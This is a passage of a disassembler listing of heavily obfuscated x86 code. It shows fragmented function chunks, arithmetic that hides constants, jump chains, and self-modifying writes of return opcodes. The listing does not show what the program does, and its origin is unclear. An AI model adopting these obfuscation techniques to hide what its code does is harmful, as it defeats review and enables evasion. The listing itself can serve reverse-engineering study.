loc_748FD6:				; CODE XREF: sub_74A71A-C0Bj
					; sub_74A71A+B805j
		jnz	loc_752644
		jmp	loc_75750E
; END OF FUNCTION CHUNK	FOR sub_74A71A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748E1D


loc_748FE1:				; CODE XREF: sub_748E1D+E82Cj
		mov	esi, edx
		xchg	esi, [esp-4+arg_0]
		call	sub_756826
		push	0D86FC9C2h
		pop	eax
		rol	eax, 0Fh
		jmp	loc_74B7EF
; END OF FUNCTION CHUNK	FOR sub_748E1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BED4


loc_748FF9:				; CODE XREF: sub_74BED4:loc_74E8FCj
					; _0z4jwtox:0074E90Fj
		add	esi, 234FD0D0h
		mov	[esi], eax
		pop	esi
		lea	eax, sub_74F69D
		mov	byte ptr [eax],	0C3h
		jmp	sub_74F69D
; END OF FUNCTION CHUNK	FOR sub_74BED4

; =============== S U B	R O U T	I N E =======================================



sub_749010	proc near		; CODE XREF: .text:004128B7p
					; sub_7490FC+9j
					; DATA XREF: ...

; FUNCTION CHUNK AT 00745DA2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00747211 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007485AC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00748F60 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0074B2B0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074BE13 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074C1CE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074EC40 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074F77B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0075087B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00753F5C SIZE 0000000E BYTES

		call	sub_7490FC


loc_749015:				; CODE XREF: sub_748538+6505j
		jmp	loc_74B2B0
sub_749010	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AF10


loc_74901A:				; CODE XREF: sub_74AF10+28BFj
		shl	edi, 12h
; END OF FUNCTION CHUNK	FOR sub_74AF10
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_74901D:				; CODE XREF: sub_74AF10:loc_749975j
					; sub_752D11:loc_750CC2j
		call	nullsub_5


loc_749022:				; CODE XREF: sub_74C8DA-200Ej
					; _0z4jwtox:loc_74CA96j
		jno	loc_750DCD
		call	sub_755ECD


loc_74902D:				; CODE XREF: sub_7574E3-94CDj
		jmp	loc_74D6FC
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------


loc_749032:				; CODE XREF: _0z4jwtox:0074681Bj
		popf
		pushf
; START	OF FUNCTION CHUNK FOR sub_74CD80


loc_749034:				; CODE XREF: sub_74CD80:loc_754F07j
		sub	edi, 0A2AE03ACh
		rol	edi, 0Ah
		xor	edi, 88B1C9B8h
		jmp	loc_749A4C
; END OF FUNCTION CHUNK	FOR sub_74CD80
; ---------------------------------------------------------------------------
		or	ebx, edi
		jmp	sub_7469BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE67


loc_74904F:				; CODE XREF: sub_74AE67+10j
					; sub_74AE67+AC8Bj
		rol	eax, 15h
		and	eax, 8654E77Ch
		add	eax, 0FE78896h
		add	eax, ebp
		add	eax, 0F00392FAh
		jmp	loc_74DA63
; END OF FUNCTION CHUNK	FOR sub_74AE67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C3B3


loc_74906B:				; CODE XREF: sub_74C3B3+5C8j
		push	956567F1h
		pop	edx
		sub	edx, 62644E37h
		add	edx, 0A3D69A57h
		jmp	loc_7498A6
; END OF FUNCTION CHUNK	FOR sub_74C3B3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_288. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_749083:				; CODE XREF: sub_74FE55+5CC2j
		jmp	loc_74B90C
; END OF FUNCTION CHUNK	FOR sub_74FE55

; =============== S U B	R O U T	I N E =======================================



sub_749088	proc near		; CODE XREF: _0z4jwtox:0074EADFp
					; _0z4jwtox:00754CDFj

; FUNCTION CHUNK AT 007474D5 SIZE 0000000E BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	eax
		push	0DA5B08AAh
		pop	eax
		or	eax, 3081762Dh
		add	eax, 7DFA41C2h
		or	eax, 0B1A2E291h
		jmp	loc_7474D5
sub_749088	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_7490AA:				; CODE XREF: sub_74FE55-5A83j
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		call	sub_74FE55


loc_7490B4:				; CODE XREF: _0z4jwtox:0074B1D0j
		jmp	loc_746AF3
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_7490B9:				; CODE XREF: sub_74946E-3B94j
		jmp	loc_7534B1
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
		push	3FEE6F69h
		jmp	sub_748FA4
; ---------------------------------------------------------------------------
		shl	esi, 1Ch
		jmp	sub_753019
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571A1


loc_7490D0:				; CODE XREF: sub_7571A1+6j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+0]
		call	sub_74FACE
		push	0C04010F9h
		jmp	loc_74E709
; END OF FUNCTION CHUNK	FOR sub_7571A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7475CB


loc_7490E9:				; CODE XREF: sub_7475CB:loc_74B122j
		pop	esi
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_7475CB
; ---------------------------------------------------------------------------


loc_7490EC:				; CODE XREF: _0z4jwtox:00754ABCj
		jmp	loc_75098D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514BF


loc_7490F1:				; CODE XREF: sub_7514BF+Ej
		jmp	loc_74ACAB
; END OF FUNCTION CHUNK	FOR sub_7514BF

; =============== S U B	R O U T	I N E =======================================



sub_7490F6	proc near		; CODE XREF: sub_74CF82-106Dp
					; sub_756974-9981p ...

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 007468CA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00747582 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 007477B6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007484ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749157 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007491AC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00749AF1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0074E82F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074EAE4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EE3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075008B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00750C79 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0075207B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0075271F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007527B9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00753C6D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00754259 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00755398 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00755F72 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_753C6D
sub_7490F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_7490FC	proc near		; CODE XREF: _0z4jwtox:0074845Bj
					; sub_749010p
		xchg	edx, [esp+0]
		pop	edx
		call	sub_749115
		jmp	ds:off_41F140
sub_7490FC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C0D


loc_74910B:				; CODE XREF: sub_748C0D+1j
		jmp	loc_74C6F7
; END OF FUNCTION CHUNK	FOR sub_748C0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747003


loc_749110:				; CODE XREF: sub_747003+17j
		jmp	nullsub_37
; END OF FUNCTION CHUNK	FOR sub_747003

; =============== S U B	R O U T	I N E =======================================



sub_749115	proc near		; CODE XREF: sub_7490FC+4p
					; sub_74F83E:loc_749CA9j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00745C26 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074F84C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074FDC3 SIZE 0000000C BYTES

		pop	edx
		jb	loc_74F84C
		mov	eax, [esp+0]
		jmp	loc_74FDC3
sub_749115	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aYyh9ru		db 'YYh9ru',0           ; DATA XREF: sub_74CBE6:loc_746A17o
; ---------------------------------------------------------------------------
		jmp	locret_74A6C4
; ---------------------------------------------------------------------------


loc_749130:				; DATA XREF: _0z4jwtox:00755605o
		mov	byte ptr [eax],	0C3h
		jmp	loc_7543ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750291


loc_749138:				; CODE XREF: sub_750291+6j
		mov	eax, [esp+0]
		push	edx
		call	sub_74B1F1
		mov	eax, 8D800AAh
		push	edi
		jmp	loc_74E05A
; END OF FUNCTION CHUNK	FOR sub_750291
; ---------------------------------------------------------------------------


loc_74914C:				; DATA XREF: sub_74D60Do
		call	sub_749161
		jmp	ds:off_41F080
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_749157:				; CODE XREF: sub_7490F6+AB82j
		jmp	loc_7527B9
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75143A


loc_74915C:				; CODE XREF: sub_75143A+1B57j
		jmp	loc_7471FF
; END OF FUNCTION CHUNK	FOR sub_75143A

; =============== S U B	R O U T	I N E =======================================



sub_749161	proc near		; CODE XREF: sub_75622B-1052Dj
					; _0z4jwtox:loc_74914Cp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074805D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074A1FC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0074CA9C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D872 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074DC8F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0075150D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075574E SIZE 00000005 BYTES

		xchg	edi, [esp+4+var_4]
		mov	edx, edi
		pop	edi
		js	loc_74805D
		mov	eax, [esp+0]
		push	edx
		jmp	loc_75574E
sub_749161	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748723


loc_749176:				; CODE XREF: sub_748723:loc_754DD5j
		ror	ebp, 3
		jmp	loc_75665B
; END OF FUNCTION CHUNK	FOR sub_748723
; ---------------------------------------------------------------------------


loc_74917E:				; CODE XREF: _0z4jwtox:0074E249j
		ja	loc_754DDF

; =============== S U B	R O U T	I N E =======================================



sub_749184	proc near		; CODE XREF: sub_74F69D+7592p

; FUNCTION CHUNK AT 00746DAC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074A289 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754724 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	edi
		push	500FF7CEh
		pop	edi
		add	edi, 0BA7A4EACh
		jmp	loc_74A289
sub_749184	endp

; ---------------------------------------------------------------------------
		mov	edx, [ebp-18h]
		mov	[edx], eax
		jmp	loc_746FF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_7491A4:				; CODE XREF: sub_747C22:loc_751E67j
		push	edi
		push	ebp
		pop	edi
		jmp	loc_75658C
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_7491AC:				; CODE XREF: sub_7490F6:loc_7553AFj
		test	ebx, 4000h
		jmp	loc_754259
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7541BA


loc_7491B7:				; CODE XREF: sub_7541BA:loc_75493Bj
		jnz	loc_74FBF0
		xchg	edi, edx
		shl	ebx, 0Fh
		jmp	loc_74FBF0
; END OF FUNCTION CHUNK	FOR sub_7541BA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_225. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_220. PRESS KEYPAD	"+" TO EXPAND]
		db 9, 0C0h
; ---------------------------------------------------------------------------
		jmp	loc_74EBB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E93


loc_7491D0:				; CODE XREF: sub_746E93j
		mov	edx, ds:dword_756678
		call	sub_752DE1


loc_7491DB:				; CODE XREF: sub_75038B+5j
		jmp	nullsub_38
; END OF FUNCTION CHUNK	FOR sub_746E93
; ---------------------------------------------------------------------------
		sbb	ecx, 100119A1h
		jmp	sub_747546
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753176


loc_7491EB:				; CODE XREF: sub_753176:loc_748641j
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_747CF4
		jmp	loc_74932E
; END OF FUNCTION CHUNK	FOR sub_753176

; =============== S U B	R O U T	I N E =======================================



sub_7491FD	proc near		; CODE XREF: _0z4jwtox:007452AEj
					; sub_756A5Bp

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00746602 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074B5CD SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0074CC4B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0075383D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 007557AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007575E3 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		pop	edx
		jns	loc_75383D
		mov	eax, [esp+4+var_4]
		jmp	loc_7557AC
sub_7491FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748723


loc_749210:				; CODE XREF: _0z4jwtox:00745925j
					; sub_748723:loc_74F5DCj
		jz	loc_7525FC
		shr	ebx, 9
		jmp	loc_7525F6
; END OF FUNCTION CHUNK	FOR sub_748723
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FA7E


loc_74921E:				; CODE XREF: sub_74FA7E:loc_756D2Dj
		jz	loc_74F2FD
		jmp	loc_750229
; END OF FUNCTION CHUNK	FOR sub_74FA7E

; =============== S U B	R O U T	I N E =======================================



sub_749229	proc near		; CODE XREF: sub_752904j
					; DATA XREF: sub_7528FAo

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074526C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074765C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00757884 SIZE 0000000F BYTES

		jno	loc_74526C
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edi
		jmp	loc_7496E2
sub_749229	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_749239:				; CODE XREF: _0z4jwtox:0074D56Cj
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_207
		mov	byte ptr [eax],	0C3h
		jmp	loc_74F626
; ---------------------------------------------------------------------------


loc_74924A:				; CODE XREF: _0z4jwtox:007482FBj
		push	offset loc_74C54B
		jmp	locret_74B900

; =============== S U B	R O U T	I N E =======================================



sub_749254	proc near		; CODE XREF: sub_745425+1p
					; _0z4jwtox:00755A7Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00745F8D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074A91C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D92E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DA1C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074F1A6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0074F290 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F414 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0074F4DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F8B1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00752EA4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00754ED9 SIZE 00000017 BYTES

		xchg	ecx, [esp-4+arg_0]
		pop	ecx
		push	6B861534h
		pop	eax
		xor	eax, 340032Ch
		add	eax, 97AE496Ah
		jmp	loc_74F8B1
sub_749254	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E762


loc_74926F:				; CODE XREF: sub_74E762+8BADj
		sbb	ebx, 1998A493h
		push	edx


loc_749276:				; CODE XREF: sub_74E762:loc_74E25Cj
		mov	eax, 10726C00h
		call	sub_748538


loc_749280:				; CODE XREF: sub_74B305+8433j
		jmp	sub_74C2F6
; END OF FUNCTION CHUNK	FOR sub_74E762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749DB4


loc_749285:				; CODE XREF: sub_749DB4+3j
		xchg	edi, [esp+4+var_4]
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		mov	[ebp-4], eax
		mov	eax, offset dword_74F3BC
		jmp	sub_746062
; END OF FUNCTION CHUNK	FOR sub_749DB4
; ---------------------------------------------------------------------------
		jmp	ds:dword_41F0FC
; ---------------------------------------------------------------------------


loc_7492A1:				; CODE XREF: _0z4jwtox:0074FD5Ej
		jmp	loc_754E60
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_273. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		test	[ebp-78FFFF99h], ecx
		cmp	al, 24h
		mov	edx, edi
		jmp	loc_74C1EF
; ---------------------------------------------------------------------------


loc_7492B6:				; DATA XREF: _0z4jwtox:0074CA5Ao
		push	ecx
		push	0D2D9DC01h
		pop	ecx
		add	ecx, 0DB85546Fh
		rol	ecx, 0Fh
		jmp	loc_754AB6
; ---------------------------------------------------------------------------
		adc	eax, 2C918D0Bh
		pushf
		jmp	sub_7475CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7475DD


loc_7492D7:				; CODE XREF: sub_7475DD+Dj
		cmp	ds:dword_7575C8, 0
		jnz	loc_756B1B
		lea	edx, [ebp-14h]
		mov	eax, offset dword_7575CC
		call	sub_752E0F
		lea	eax, [ebp-14h]


loc_7492F4:				; CODE XREF: sub_746E37:loc_750C61j
		push	eax
		jmp	loc_754DD0
; END OF FUNCTION CHUNK	FOR sub_7475DD
; ---------------------------------------------------------------------------
		jle	loc_753D65
		push	ecx
		jmp	sub_7473E6

; =============== S U B	R O U T	I N E =======================================



sub_749306	proc near		; CODE XREF: sub_748C0D:loc_74C6F7p
					; _0z4jwtox:00753CCBj

; FUNCTION CHUNK AT 007458AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746E9E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00747790 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00748A83 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074937F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074B259 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074D0FE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074E267 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0074EE9C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 007507D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007509A0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0075121A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753482 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00753920 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 007554A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075556F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 007575D9 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi


loc_74930A:				; CODE XREF: sub_749608:loc_74F2FDj
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		jmp	loc_7458AB
sub_749306	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_749318:				; CODE XREF: _0z4jwtox:00752F1Aj
		test	ebx, 4000h
		jmp	loc_753B69
; ---------------------------------------------------------------------------
		or	eax, 1734A235h
		jmp	loc_749EC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753176


loc_74932E:				; CODE XREF: sub_753176-9F7Ej
		jnz	loc_750E05
		jmp	loc_74D3CE
; END OF FUNCTION CHUNK	FOR sub_753176
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7529BD


loc_749339:				; CODE XREF: sub_7529BD:loc_755DDFj
		jz	loc_751F25
; END OF FUNCTION CHUNK	FOR sub_7529BD
; START	OF FUNCTION CHUNK FOR sub_748B44


loc_74933F:				; CODE XREF: sub_748B44+E831j
		jmp	loc_74E080
; END OF FUNCTION CHUNK	FOR sub_748B44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756D58


loc_749344:				; CODE XREF: sub_756D58+9j
		jmp	loc_74E2C2
; END OF FUNCTION CHUNK	FOR sub_756D58
; ---------------------------------------------------------------------------


loc_749349:				; CODE XREF: _0z4jwtox:007538F2j
		jmp	loc_75227B
; ---------------------------------------------------------------------------
		sub	ecx, 7CC7BDA0h
		jmp	loc_751F15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748DCB


loc_749359:				; CODE XREF: sub_748DCB+D7B1j
		jnz	loc_754FE4
; END OF FUNCTION CHUNK	FOR sub_748DCB
; START	OF FUNCTION CHUNK FOR sub_74C2C9


loc_74935F:				; CODE XREF: sub_74C2C9+387Bj
		jmp	loc_74FF99
; END OF FUNCTION CHUNK	FOR sub_74C2C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D424


loc_749364:				; CODE XREF: sub_74D424-374Fj
		jmp	loc_7510D1
; END OF FUNCTION CHUNK	FOR sub_74D424
; ---------------------------------------------------------------------------
		jnb	loc_753D9D
		jmp	loc_754FE1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_210. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_749375:				; CODE XREF: sub_747C22+F691j
		jmp	loc_74F89D
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748574


loc_74937A:				; CODE XREF: sub_748574+69C7j
		jmp	loc_754DC5
; END OF FUNCTION CHUNK	FOR sub_748574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749306


loc_74937F:				; CODE XREF: sub_749306+769Bj
		popf


loc_749380:				; CODE XREF: sub_749306:loc_748A83j
		call	sub_74AE67
; END OF FUNCTION CHUNK	FOR sub_749306
; START	OF FUNCTION CHUNK FOR sub_74CF82


loc_749385:				; CODE XREF: sub_74CF82-105Ej
		mov	ds:off_41F004, eax
		lea	eax, sub_74CF82
		call	sub_749FD7


loc_749396:				; CODE XREF: sub_750638:loc_746A39j
		ror	ecx, 0Ah
		pushf
		mov	ebx, [ecx]
		jmp	loc_749596
; END OF FUNCTION CHUNK	FOR sub_74CF82
; ---------------------------------------------------------------------------


loc_7493A1:				; CODE XREF: _0z4jwtox:0074AEA2j
		xchg	edi, eax
		jmp	loc_74C25C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_7493A8:				; CODE XREF: sub_7474B9:loc_74D995j
		jnz	loc_754BD7
		jmp	loc_74F93B
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7475CB


loc_7493B3:				; CODE XREF: sub_7475CB+Dj
					; sub_7475DD:loc_754DD0j
		call	sub_74C2C9
		call	sub_74B74C


loc_7493BD:				; CODE XREF: sub_750638+5761j
		jmp	loc_74759C
; END OF FUNCTION CHUNK	FOR sub_7475CB
; ---------------------------------------------------------------------------


loc_7493C2:				; CODE XREF: _0z4jwtox:0074EEC7j
		xchg	edx, [esp]
		push	4D80B49h
		pop	esi
		rol	esi, 1
		xor	esi, 4EF9A123h
		jmp	loc_756FED
; ---------------------------------------------------------------------------


loc_7493D8:				; CODE XREF: _0z4jwtox:00754B31j
		cmp	edx, 0B0B98924h
		jmp	loc_750CCF
; ---------------------------------------------------------------------------


loc_7493E3:				; CODE XREF: _0z4jwtox:loc_749C4Dj
		rol	eax, 11h
		push	offset loc_747496
		jmp	loc_75425F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75427C


loc_7493F0:				; CODE XREF: sub_75427C-4C81j
		xchg	ebx, [esp+0]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_75427C
; ---------------------------------------------------------------------------
		jmp	ds:dword_41F1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_7493FE:				; CODE XREF: sub_747736+9C68j
		jmp	loc_750BA5
; END OF FUNCTION CHUNK	FOR sub_747736
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		dd 0A559h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_749408:				; CODE XREF: sub_75364C+3676j
		jmp	loc_7469DA
; END OF FUNCTION CHUNK	FOR sub_75364C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DFF3


loc_74940D:				; CODE XREF: sub_74DFF3+7j
		jmp	loc_75624F
; END OF FUNCTION CHUNK	FOR sub_74DFF3
; ---------------------------------------------------------------------------


loc_749412:				; CODE XREF: _0z4jwtox:00749F39j
		jz	loc_756EDD
		jmp	loc_757859
; ---------------------------------------------------------------------------


loc_74941D:				; DATA XREF: sub_74FACE-63A9o
		xor	eax, 5CD4690Bh
		add	eax, ebp
		push	esi
		push	19B25EECh
		jmp	loc_74D58D
; ---------------------------------------------------------------------------


loc_749430:				; CODE XREF: _0z4jwtox:00750F95j
		call	sub_746E93
		mov	ds:dword_41F18C, eax
		lea	eax, nullsub_275
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_275
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_749449:				; CODE XREF: sub_747C39:loc_74B2A4j
		sub	eax, edx
		pop	edx
		ror	eax, 13h
		mov	edx, [esp-4+arg_0]
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0]
		mov	eax, edx
		jmp	loc_74D337
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
		xor	ecx, edi
		jmp	loc_752EB2
; ---------------------------------------------------------------------------


loc_749466:				; CODE XREF: _0z4jwtox:00750312j
		mov	byte ptr [eax],	0C3h
		jmp	loc_748F50

; =============== S U B	R O U T	I N E =======================================



sub_74946E	proc near		; CODE XREF: sub_4123B8+113p
					; sub_4123B8+21Bp ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007454CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00745761 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00745861 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007458CE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00746DF9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007477E9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007490B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749E28 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0074B650 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074B834 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074C06C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074D52B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0074E147 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075083C SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0075219C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007524D1 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00752701 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00752D96 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 007534B1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00755AF7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00756890 SIZE 00000010 BYTES

		jnz	loc_749E42
		mov	eax, ds:dword_752DAC
		or	eax, eax
		jnz	loc_745767
		jmp	loc_746DF9
sub_74946E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_749487	proc near		; DATA XREF: sub_750A01+3354o
		jnz	loc_7494A4
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		or	eax, 8
